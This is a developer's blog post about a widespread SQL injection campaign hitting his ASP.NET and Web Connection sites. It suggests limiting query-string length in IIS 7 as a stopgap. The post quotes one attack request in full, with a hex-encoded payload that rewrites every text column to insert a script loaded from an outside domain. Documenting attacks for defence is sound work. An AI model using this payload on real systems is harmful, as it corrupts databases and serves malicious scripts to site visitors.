For the last couple of days I've noticed that my server's been inundated with a huge number of unwanted requests. The requests are firing what looks like SQL injection code against the server with a huge query string that tries to execute code on the server. Requests look something like this:
ShowMsg.wwt MsgId=2DD0S8MI5';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686
172283430303029204445434C415245205461626C655F437572736F7220435552534
F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073
79736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69
643D622E696420616E6420612E78747970653D27752720616E642028622E78747970
653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206
F7220622E78747970653D31363729204F50454E205461626C655F437572736F722046
45544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040
542C4043205748494C4528404046455443485F5354415455533D302920424547494E20
657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3
D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D
22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A7322
3E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F7
4206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22
687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E
3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D2020
5461626C655F437572736F7220494E544F2040542C404320454E4420434C4F534520546
1626C655F437572736F72204445414C4C4F43415445205461626C655F4
37572736F72%20AS%20CHAR(4000));EXEC(@S);
The attack is broad but the content is definitely gained from some previous spidering as this attack is using proper query string values and is hitting a wide swath of URLs on my site. It's hitting ASP.NET applications as well as some of my older West Wind Web Connection applications which is where I noticed this problem first.
Although I'm not terribly worried about these attacks actually getting into a database, it does end up hitting applications and so wasting CPU cycles and returning bandwidth that is effectively wasted which is annoying at least.
It also appears that these SPAM requests aren't absolutely slamming servers at least not on my end with requests using typical robot intervals with no more than a few requests every few seconds. It doesn't qualify (yet?) as a DOS attack.
Apparently I'm not the only one getting slammed. A number of other developers have been twittering all day about large swells in logs files and sluggish performance of their sites as well so this is fairly wide spread.
IIS 7 includes some request filtering tools which correspond roughly to what used to be the separate URLScan utility. The above would be easy to filter based on the fixed content, but unfortunately the <requestFiltering> feature of IIS 7 in ApplicationHost.config (in \windows\system32\inetsvr\config) does not allow for URL string filtering.
What I did however is count on the size of the above being rather large and setting up some query string length limits with the following setting in applicationhost.config:
<configuration>
<system.webServer>
<security>
<requestFiltering>
<requestLimits maxQueryString="1024">
</requestLimits>
</requestFiltering>
</security>
</system.webServer>
</configuration>
which filters the query string length at 1k. This is probably a good idea anyway, unless of course you have applications that generate extraordinarily long query strings.
With this in place the caller receives a 404:
This is obviously not a very solid solution - as soon as a smaller query string is used this approach no longer works, but for now this works to keep these request from reaching any application code and waste CPU cycles.
There are a few other ways that you can filter such as not allowing encoded text (kinda risky if you have many apps on your server) and not allowing upper ASCII characters.
If you're using IIS 6 or earlier you can probably achieve something similar using UrlScan on which the IIS 7 functionality is based in concept.
It's really disheartening to see this sort of waste of energy - on both ends for those perpetrating these attacks as well as the hassle of having to prevent it or at least fend it off. We live in shitty times when this is somebody's way to amuse themselves.
Other Posts you might also like